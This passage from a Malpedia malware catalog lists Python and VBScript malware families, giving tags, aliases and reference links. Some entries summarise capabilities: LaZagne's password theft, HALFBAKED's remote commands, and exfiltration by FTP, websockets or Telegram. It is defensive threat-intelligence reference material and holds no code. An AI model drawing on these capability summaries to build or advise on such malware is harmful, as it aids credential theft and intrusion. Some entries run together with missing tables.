<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/py.keyplexer">https://malpedia.caad.fkie.fraunhofer.de/details/py.keyplexer</a></td>
</tr>
<tr>
<td><a href="https://github.com/nairuzabulhul/KeyPlexer">https://github.com/nairuzabulhul/KeyPlexer</a></td>
</tr>
</tbody>
</table>
LaZagne

The author described LaZagne as an open source project used to retrieve lots of passwords stored on a local computer. It has been developed for the purpose of finding these passwords for the most commonly-used software. It is written in Python and provided as compiled standalone binaries for Linux, Mac, and Windows.

The tag is: *misp-galaxy:malpedia="LaZagne"*

LaZagne is also known as:

**Table 2339. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/py.lazagne">https://malpedia.caad.fkie.fraunhofer.de/details/py.lazagne</a></td>
</tr>
<tr>
<td><a href="https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/">https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0100/">https://attack.mitre.org/groups/G0100/</a></td>
</tr>
<tr>
<td><a href="https://www.infinitumit.com.tr/apt-35/">https://www.infinitumit.com.tr/apt-35/</a></td>
</tr>
<tr>
<td><a href="https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/">https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0100">https://attack.mitre.org/groups/G0100</a></td>
</tr>
<tr>
<td><a href="https://github.com/AlessandroZ/LaZagne">https://github.com/AlessandroZ/LaZagne</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/defttorero-tactics-techniques-and-procedures/107610/">https://securelist.com/defttorero-tactics-techniques-and-procedures/107610/</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/alphv-ransomware-backup">https://www.mandiant.com/resources/blog/alphv-ransomware-backup</a></td>
</tr>
<tr>
<td><a href="https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/">https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/</a></td>
</tr>
</tbody>
</table>

Lofy

The tag is: *misp-galaxy:malpedia="Lofy"*

Lofy is also known as:

- LofyLife

**Table 2340. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/py.lofy">https://malpedia.caad.fkie.fraunhofer.de/details/py.lofy</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/lofylife-malicious-npm-packages/107014/">https://securelist.com/lofylife-malicious-npm-packages/107014/</a></td>
</tr>
</tbody>
</table>
Loki RAT

This RAT written in Python is an open-source fork of the Ares RAT. This malware integrates additional modules, like recording, lockscreen, and locate options. It was used in a customized form version by El Machete APT in an ongoing campaign since 2020. The original code can be found at: https://github.com/TheGeekHT/Loki.Rat/

The tag is: misp-galaxy:malpedia="Loki RAT"

Loki RAT is also known as:

Table 2341. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/py.lokirat">https://malpedia.caad.fkie.fraunhofer.de/details/py.lokirat</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2022/state-sponsored-attack-groups-capitalise-on-russia-ukraine-war-for-cyber-espionage/">https://research.checkpoint.com/2022/state-sponsored-attack-groups-capitalise-on-russia-ukraine-war-for-cyber-espionage/</a></td>
</tr>
</tbody>
</table>

N3Cr0m0rPh

An IRC bot written in (obfuscated) Python code. Distributed in attack campaign FreakOut, written by author Freak/Fl0urite and development potentially dating back as far as 2015.

The tag is: misp-galaxy:malpedia="N3Cr0m0rPh"

N3Cr0m0rPh is also known as:

- FreakOut
- Necro

Table 2342. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/py.n3cr0m0rph">https://malpedia.caad.fkie.fraunhofer.de/details/py.n3cr0m0rph</a></td>
</tr>
<tr>
<td><a href="https://www.lacework.com/the-kek-security-network/">https://www.lacework.com/the-kek-security-network/</a></td>
</tr>
<tr>
<td><a href="https://www.lacework.com/blog/the-kek-security-network/">https://www.lacework.com/blog/the-kek-security-network/</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/">https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/</a></td>
</tr>
<tr>
<td><a href="https://blog.netlab.360.com/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/">https://blog.netlab.360.com/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/</a></td>
</tr>
<tr>
<td><a href="https://www.lacework.com/keksec-tsunami-ryuk/">https://www.lacework.com/keksec-tsunami-ryuk/</a></td>
</tr>
</tbody>
</table>
NetWorm

The tag is: `misp-galaxy:malpedia="NetWorm"`

NetWorm is also known as:

Table 2343. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/py.networm">https://malpedia.caad.fkie.fraunhofer.de/details/py.networm</a></td>
</tr>
<tr>
<td><a href="https://github.com/pylyf/NetWorm">https://github.com/pylyf/NetWorm</a></td>
</tr>
</tbody>
</table>

PIRAT

The tag is: `misp-galaxy:malpedia="PIRAT"`

PIRAT is also known as:

Table 2344. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/py.pirat">https://malpedia.caad.fkie.fraunhofer.de/details/py.pirat</a></td>
</tr>
<tr>
<td><a href="https://vk.com/m228228?w=wall306895781_177">https://vk.com/m228228?w=wall306895781_177</a></td>
</tr>
</tbody>
</table>

Poet RAT

Cisco Talos has discovered a Python-based RAT they call Poet RAT. It is dropped from a Word document and delivered including a Python interpreter and required libraries. The name originates from references to Shakespeare. Exfiltration happens through FTP.

The tag is: `misp-galaxy:malpedia="Poet RAT"`

Poet RAT is also known as:

Table 2345. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
poweRAT

The tag is: `misp-galaxy:malpedia="poweRAT"`

poweRAT is also known as:

Table 2346. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/py.powerat">https://malpedia.caad.fkie.fraunhofer.de/details/py.powerat</a></td>
</tr>
<tr>
<td><a href="https://blog.phylum.io/a-deep-dive-into-powerat-a-newly-discovered-stealer/rat-combo-polluting-pypi">https://blog.phylum.io/a-deep-dive-into-powerat-a-newly-discovered-stealer/rat-combo-polluting-pypi</a></td>
</tr>
</tbody>
</table>

pupy (Python)

The tag is: `misp-galaxy:malpedia="pupy (Python)"`

pupy (Python) is also known as:

Table 2347. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/py.pupy">https://malpedia.caad.fkie.fraunhofer.de/details/py.pupy</a></td>
</tr>
<tr>
<td><a href="https://github.com/n1nj4sec/pupy">https://github.com/n1nj4sec/pupy</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/cobalt-gypsy">https://www.secureworks.com/research/threat-profiles/cobalt-gypsy</a></td>
</tr>
<tr>
<td><a href="https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf">https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/cobalt-trinity">https://www.secureworks.com/research/threat-profiles/cobalt-trinity</a></td>
</tr>
</tbody>
</table>
**PyAesLoader**

The tag is: `misp-galaxy:malpedia="PyAesLoader"`

PyAesLoader is also known as:

*Table 2348. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/py.pyaesloader">https://malpedia.caad.fkie.fraunhofer.de/details/py.pyaesloader</a></td>
</tr>
</tbody>
</table>

**PyArk**

The tag is: `misp-galaxy:malpedia="PyArk"`

PyArk is also known as:

*Table 2349. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/py.pyark">https://malpedia.caad.fkie.fraunhofer.de/details/py.pyark</a></td>
</tr>
</tbody>
</table>

**pyback**

The tag is: `misp-galaxy:malpedia="pyback"`

pyback is also known as:

*Table 2350. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/py.pyback">https://malpedia.caad.fkie.fraunhofer.de/details/py.pyback</a></td>
</tr>
<tr>
<td><a href="https://github.com/7h3w4lk3r/pyback">https://github.com/7h3w4lk3r/pyback</a></td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/py.unidentified_001">https://malpedia.caad.fkie.fraunhofer.de/details/py.unidentified_001</a></td>
</tr>
</tbody>
</table>

**PY#RATION**

According to Securonix, this malware exhibits remote access trojan (RAT) behavior, allowing for control of and persistence on the affected host. As with other RATs, PY#RATION possesses a whole host of features and capabilities, including data exfiltration and keylogging. What makes this malware particularly unique is its utilization of websockets for both command and control (C2) communication and exfiltration as well as how it evades detection from antivirus and network security measures.

The tag is: `misp-galaxy:malpedia="PY#RATION"`
PY#RATION is also known as:

Table 2351. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/py.pyration">https://malpedia.caad.fkie.fraunhofer.de/details/py.pyration</a></td>
</tr>
<tr>
<td><a href="https://www.securonix.com/blog/security-advisory-python-based-pyration-attack-campaign/">https://www.securonix.com/blog/security-advisory-python-based-pyration-attack-campaign/</a></td>
</tr>
</tbody>
</table>

**PyVil**

PyVil RAT

The tag is: `misp-galaxy:malpedia="PyVil"`

PyVil is also known as:

Table 2352. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/py.pyvil">https://malpedia.caad.fkie.fraunhofer.de/details/py.pyvil</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ESETresearch/status/1360178593968623617">https://twitter.com/ESETresearch/status/1360178593968623617</a></td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/no-rest-for-the-wicked-evilnum-unleashes-pyvil-rat">https://www.cybereason.com/blog/no-rest-for-the-wicked-evilnum-unleashes-pyvil-rat</a></td>
</tr>
</tbody>
</table>

**Responder**

Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication.

The tag is: `misp-galaxy:malpedia="Responder"`

Responder is also known as:

- SpiderLabs Responder

Table 2353. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/py.responder">https://malpedia.caad.fkie.fraunhofer.de/details/py.responder</a></td>
</tr>
<tr>
<td><a href="https://github.com/lgandx/Responder">https://github.com/lgandx/Responder</a></td>
</tr>
<tr>
<td><a href="https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/">https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/</a></td>
</tr>
</tbody>
</table>

**Saphyra**

The tag is: `misp-galaxy:malpedia="Saphyra"`

Saphyra is also known as:
Serpent

According to Proofpoint, this is a backdoor written in Python, used in attacks against French entities in the construction, real estate, and government industries.

The tag is: misp-galaxy:malpedia="Serpent"

Serpent is also known as:

SpaceCow

The tag is: misp-galaxy:malpedia="SpaceCow"

SpaceCow is also known as:

stealler

The tag is: misp-galaxy:malpedia="stealler"

stealler is also known as:
Stitch

The tag is: misp-galaxy:malpedia="Stitch"

Stitch is also known as:

Table 2358. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/py.stitch">https://malpedia.caad.fkie.fraunhofer.de/details/py.stitch</a></td>
</tr>
<tr>
<td><a href="https://github.com/nathanlopez/Stitch">https://github.com/nathanlopez/Stitch</a></td>
</tr>
</tbody>
</table>

unidentified_002

The tag is: misp-galaxy:malpedia="unidentified_002"

unidentified_002 is also known as:

Table 2359. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/py.unidentified_002">https://malpedia.caad.fkie.fraunhofer.de/details/py.unidentified_002</a></td>
</tr>
</tbody>
</table>

unidentified_003

The tag is: misp-galaxy:malpedia="unidentified_003"

unidentified_003 is also known as:

Table 2360. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/py.unidentified_003">https://malpedia.caad.fkie.fraunhofer.de/details/py.unidentified_003</a></td>
</tr>
</tbody>
</table>

Venomous

Ransomware written in Python and delivered as compiled executable created using PyInstaller.

The tag is: misp-galaxy:malpedia="Venomous"

Venomous is also known as:
Venus Stealer

Venus Stealer is a python based Infostealer observed early 2023.

The tag is: `misp-galaxy:malpedia="Venus Stealer"`

Venus Stealer is also known as:

---

W4SP Stealer

The tag is: `misp-galaxy:malpedia="W4SP Stealer"`

W4SP Stealer is also known as:

---

FlexiSpy (symbian)

The tag is: `misp-galaxy:malpedia="FlexiSpy (symbian)"

FlexiSpy (symbian) is also known as:
CageyChameleon

CageyChameleon Malware is a VBS-based backdoor which has the capability to enumerate the list of running processes and check for the presence of several antivirus products. CageyChameleon will collect user host information, system current process information, etc. The collected information is sent back to the C2 server, and continue to initiate requests to perform subsequent operations.

The tag is: misp-galaxy:malpedia="CageyChameleon"

CageyChameleon is also known as:

- Cabbage RAT

**Table 2365. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/vbs.cageychameleon">https://malpedia.caad.fkie.fraunhofer.de/details/vbs.cageychameleon</a></td>
</tr>
<tr>
<td><a href="https://www.proofpoint.com/us/blog/threat-insight/ta444-apt-startup-aimed-at-your-funds">https://www.proofpoint.com/us/blog/threat-insight/ta444-apt-startup-aimed-at-your-funds</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/the-bluenoroff-cryptocurrency-hunt-is-still-on/105488/">https://securelist.com/the-bluenoroff-cryptocurrency-hunt-is-still-on/105488/</a></td>
</tr>
<tr>
<td><a href="https://blogs.jpcert.or.jp/ja/2023/05/dangerouspassword.html">https://blogs.jpcert.or.jp/ja/2023/05/dangerouspassword.html</a></td>
</tr>
<tr>
<td><a href="https://mp.weixin.qq.com/s/nnLqUBPX8xZ3hCr5u-iSjQ">https://mp.weixin.qq.com/s/nnLqUBPX8xZ3hCr5u-iSjQ</a></td>
</tr>
<tr>
<td><a href="https://threatbook.cn/ppt/The%2520Nightmare%2520of%2520Global%2520Cryptocurrency%2520Companies%2520-%2520Demystifying%2520the%2520%25E2%2580%259C%2520Dangerous%2520Password%2520%25E2%2580%259D%2520of%2520the%2520%25E2%2580%259COrganization.pdf">https://threatbook.cn/ppt/The%2520Nightmare%2520of%2520Global%2520Cryptocurrency%2520Companies%2520-%2520Demystifying%2520the%2520%25E2%2580%259C%2520Dangerous%2520Password%2520%25E2%2580%259D%2520of%2520the%2520%25E2%2580%259COrganization.pdf</a></td>
</tr>
<tr>
<td><a href="https://cyberstruggle.org/delta/LeeryTurtleThreatReport_05_20.pdf">https://cyberstruggle.org/delta/LeeryTurtleThreatReport_05_20.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.clearskysec.com/cryptocore-group/">https://www.clearskysec.com/cryptocore-group/</a></td>
</tr>
</tbody>
</table>
forbiks

The tag is: `misp-galaxy:malpedia="forbiks"`

forbiks is also known as:

- Forbix

Table 2366. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/vbs.forbiks">https://malpedia.caad.fkie.fraunhofer.de/details/vbs.forbiks</a></td>
</tr>
<tr>
<td><a href="https://persianov.net/windows-worms-forbix-worm-analysis">https://persianov.net/windows-worms-forbix-worm-analysis</a></td>
</tr>
</tbody>
</table>

GGLdr

The tag is: `misp-galaxy:malpedia="GGLdr"`

GGLdr is also known as:

Table 2367. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/vbs.ggldr">https://malpedia.caad.fkie.fraunhofer.de/details/vbs.ggldr</a></td>
</tr>
<tr>
<td><a href="https://www.forcepoint.com/blog/x-labs/carbanak-group-uses-google-malware-command-and-control">https://www.forcepoint.com/blog/x-labs/carbanak-group-uses-google-malware-command-and-control</a></td>
</tr>
</tbody>
</table>

GlowSpark

The tag is: `misp-galaxy:malpedia="GlowSpark"`

GlowSpark is also known as:

Table 2368. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/vbs.glowspark">https://malpedia.caad.fkie.fraunhofer.de/details/vbs.glowspark</a></td>
</tr>
<tr>
<td><a href="https://inquest.net/blog/2022/02/10/380-glowspark">https://inquest.net/blog/2022/02/10/380-glowspark</a></td>
</tr>
</tbody>
</table>

Grinju Downloader

The tag is: `misp-galaxy:malpedia="Grinju Downloader"`

Grinju Downloader is also known as:

Table 2369. Table References
The HALFBAKED malware family consists of multiple components designed to establish and maintain a foothold in victim networks, with the ultimate goal of gaining access to sensitive financial information. HALFBAKED listens for the following commands from the C2 server:

- **info**: Sends victim machine information (OS, Processor, BIOS and running processes) using WMI queries
- **processList**: Send list of process running
- **screenshot**: Takes screen shot of victim machine (using 58d2a83f777688.78384945.ps1)
- **runvbs**: Executes a VB script
- **runexe**: Executes EXE file
- **runps1**: Executes PowerShell script
- **delete**: Delete the specified file
- **update**: Update the specified file

The tag is: **misp-galaxy:malpedia="HALFBAKED"**

HALFBAKED is also known as:

Table 2370. Table References

The tag is: **misp-galaxy:malpedia="Iloveyou"**

Iloveyou is also known as:

- Love Bug
- LoveLetter
Janicab (VBScript)

The tag is: `misp-galaxy:malpedia="Janicab (VBScript)"`

Janicab (VBScript) is also known as:

lampion

Malware is delivered by emails, containing links to ZIP files or ZIP attachments. The ZIP contains a VBScript that, when executed, downloads additional files from AWS S3, Google Drive or other cloud hosting services. The downloaded files are encrypted .exe and .dll files. The malware targets banking clients in Portugal.

The tag is: `misp-galaxy:malpedia="lampion"`

lampion is also known as:
lockscreen

The tag is: `misp-galaxy:malpedia="lockscreen"`

lockscreen is also known as:

Table 2374. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/vbs.lockscreen">https://malpedia.caad.fkie.fraunhofer.de/details/vbs.lockscreen</a></td>
</tr>
</tbody>
</table>

MOUSEISLAND

MOUSEISLAND is a Microsoft Word macro downloader used as the first infection stage and is delivered inside a password-protected zip attached to a phishing email. Based on Fireeye intrusion data from responding to ICEDID related incidents, the secondary payload delivered by MOUSEISLAND has been PHOTOLOADER, which acts as an intermediary downloader to install ICEDID.

The tag is: `misp-galaxy:malpedia="MOUSEISLAND"`

MOUSEISLAND is also known as:

Table 2375. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/vbs.mouseisland">https://malpedia.caad.fkie.fraunhofer.de/details/vbs.mouseisland</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html">https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html</a></td>
</tr>
</tbody>
</table>

NodeJS Ransomware

Downloads NodeJS when deployed.

The tag is: `misp-galaxy:malpedia="NodeJS Ransomware"`

NodeJS Ransomware is also known as:

Table 2376. Table References
RandomQuery

According to SentinelLabs, this is a VisualBasic-based malware that gathers system and file information and exfiltrates the data using InternetExplorer.Application or Microsoft.XMLHTTP objects.

The tag is: `misp-galaxy:malpedia="RandomQuery"`

RandomQuery is also known as:

Table 2377. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/vbs.randomquery">https://malpedia.caad.fkie.fraunhofer.de/details/vbs.randomquery</a></td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/vbs.randomquery">https://malpedia.caad.fkie.fraunhofer.de/details/vbs.randomquery</a></td>
</tr>
</tbody>
</table>

Starfighter (VBScript)

According to the author, this is a JavaScript based Empire launcher that runs with its own embedded powershell host to not be dependent on local powershell availability.

The tag is: `misp-galaxy:malpedia="Starfighter (VBScript)"

Starfighter (VBScript) is also known as:

Table 2378. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/vbs.starfighter">https://malpedia.caad.fkie.fraunhofer.de/details/vbs.starfighter</a></td>
</tr>
<tr>
<td><a href="https://github.com/Cn33liz/StarFighters">https://github.com/Cn33liz/StarFighters</a></td>
</tr>
</tbody>
</table>

STARWHALE

The tag is: `misp-galaxy:malpedia="STARWHALE"`

STARWHALE is also known as:

- Canopy
- SloughRAT

Table 2379. Table References
Unidentified VBS 001

The tag is: `misp-galaxy:malpedia="Unidentified VBS 001"`

Unidentified VBS 001 is also known as:

Table 2380. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/vbs.unidentified_001">https://malpedia.caad.fkie.fraunhofer.de/details/vbs.unidentified_001</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/JohnLaTwC/status/111827814899339392">https://twitter.com/JohnLaTwC/status/111827814899339392</a></td>
</tr>
</tbody>
</table>

Unidentified 002 (Operation Kremlin)

Unnamed malware. Delivered as remote template that drops a VBS file, which uses LOLBINs to crawl the disk and exfiltrate data zipped up via winrar.

The tag is: `misp-galaxy:malpedia="Unidentified 002 (Operation Kremlin)"`

Unidentified 002 (Operation Kremlin) is also known as:

Table 2381. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/vbs.unidentified_002">https://malpedia.caad.fkie.fraunhofer.de/details/vbs.unidentified_002</a></td>
</tr>
<tr>
<td><a href="https://www.clearskysec.com/operation-kremlin/">https://www.clearskysec.com/operation-kremlin/</a></td>
</tr>
</tbody>
</table>
Unidentified 003 (Gamaredon Downloader)

The tag is: misp-galaxy:malpedia="Unidentified 003 (Gamaredon Downloader)"

Unidentified 003 (Gamaredon Downloader) is also known as:

Table 2382. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/vbs.unidentified_003">https://malpedia.caad.fkie.fraunhofer.de/details/vbs.unidentified_003</a></td>
</tr>
<tr>
<td><a href="https://aaqeel01.wordpress.com/2021/01/18/docx-files-template-injection/">https://aaqeel01.wordpress.com/2021/01/18/docx-files-template-injection/</a></td>
</tr>
<tr>
<td><a href="https://www.threatstop.com/blog/gamaredon-group-understanding-the-russian-apt">https://www.threatstop.com/blog/gamaredon-group-understanding-the-russian-apt</a></td>
</tr>
</tbody>
</table>

Unidentified VBS 004 (RAT)

Lab52 describes this as a light first-stage RAT used by MuddyWater and observed samples between at least November 2020 and January 2022.

The tag is: misp-galaxy:malpedia="Unidentified VBS 004 (RAT)"

Unidentified VBS 004 (RAT) is also known as:

Table 2383. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/vbs.unidentified_004">https://malpedia.caad.fkie.fraunhofer.de/details/vbs.unidentified_004</a></td>
</tr>
<tr>
<td><a href="https://lab52.io/blog/muddywaters-light-first-stager-targetting-middle-east/">https://lab52.io/blog/muddywaters-light-first-stager-targetting-middle-east/</a></td>
</tr>
</tbody>
</table>

Unidentified VBS 005 (Telegram Loader)

The tag is: misp-galaxy:malpedia="Unidentified VBS 005 (Telegram Loader)"

Unidentified VBS 005 (Telegram Loader) is also known as:

Table 2384. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/vbs.unidentified_005">https://malpedia.caad.fkie.fraunhofer.de/details/vbs.unidentified_005</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/trident-ursa/">https://unit42.paloaltonetworks.com/trident-ursa/</a></td>
</tr>
</tbody>
</table>
Unidentified VBS 006 (Telegram Loader)

The tag is: misp-galaxy:malpedia="Unidentified VBS 006 (Telegram Loader)"

Unidentified VBS 006 (Telegram Loader) is also known as:

Table 2385. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/vbs.unidentified_006">https://malpedia.caad.fkie.fraunhofer.de/details/vbs.unidentified_006</a></td>
</tr>
</tbody>
</table>

VBREVSHELL

According to Mandiant, VBREVSHELL is a VBA macro that spawns a reverse shell relying exclusively on Windows API calls.

The tag is: misp-galaxy:malpedia="VBREVSHELL"

VBREVSHELL is also known as:

Table 2386. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/vbs.vbrevshell">https://malpedia.caad.fkie.fraunhofer.de/details/vbs.vbrevshell</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/media/17826">https://www.mandiant.com/media/17826</a></td>
</tr>
</tbody>
</table>

WasabiSeed

The tag is: misp-galaxy:malpedia="WasabiSeed"

WasabiSeed is also known as:

Table 2387. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/vbs.wasabiseed">https://malpedia.caad.fkie.fraunhofer.de/details/vbs.wasabiseed</a></td>
</tr>
</tbody>
</table>

WhiteShadow

The tag is: misp-galaxy:malpedia="WhiteShadow"
WhiteShadow is also known as:

Table 2388. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/vbs.whiteshadow">https://malpedia.caad.fkie.fraunhofer.de/details/vbs.whiteshadow</a></td>
</tr>
</tbody>
</table>

000Stealer

The tag is: `misp-galaxy:malpedia"000Stealer"`

000Stealer is also known as:

Table 2389. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.000stealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.000stealer</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/3xp0rtblog/status/1509978637189419008">https://twitter.com/3xp0rtblog/status/1509978637189419008</a></td>
</tr>
</tbody>
</table>

3CX Backdoor (Windows)

According to CrowdStrike, this backdoor was discovered being embedded in a legitimate, signed version of 3CXDesktopApp, and thus constitutes a supply chain attack.

The tag is: `misp-galaxy:malpedia"3CX Backdoor (Windows)"

3CX Backdoor (Windows) is also known as:

- SUDDENICON

Table 2390. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.3cx_backdoor">https://malpedia.caad.fkie.fraunhofer.de/details/win.3cx_backdoor</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=fTX-vgSEfjk">https://www.youtube.com/watch?v=fTX-vgSEfjk</a></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2023/03/31/a-comprehensive-analysis-of-the-3cx-attack">https://blog.cyble.com/2023/03/31/a-comprehensive-analysis-of-the-3cx-attack</a></td>
</tr>
<tr>
<td><a href="https://www.rapid7.com/blog/post/2023/03/30/backdoored-3cxdesktopapp-installer-used-in-active-threat-campaign/">https://www.rapid7.com/blog/post/2023/03/30/backdoored-3cxdesktopapp-installer-used-in-active-threat-campaign/</a></td>
</tr>
<tr>
<td><a href="https://www.elastic.co/security-labs/elastic-users-protected-from-suddenicon-supply-chain-attack">https://www.elastic.co/security-labs/elastic-users-protected-from-suddenicon-supply-chain-attack</a></td>
</tr>
</tbody>
</table>
Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victim’s sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.

The tag is: *misp-galaxy:malpedia="404 Keylogger"*

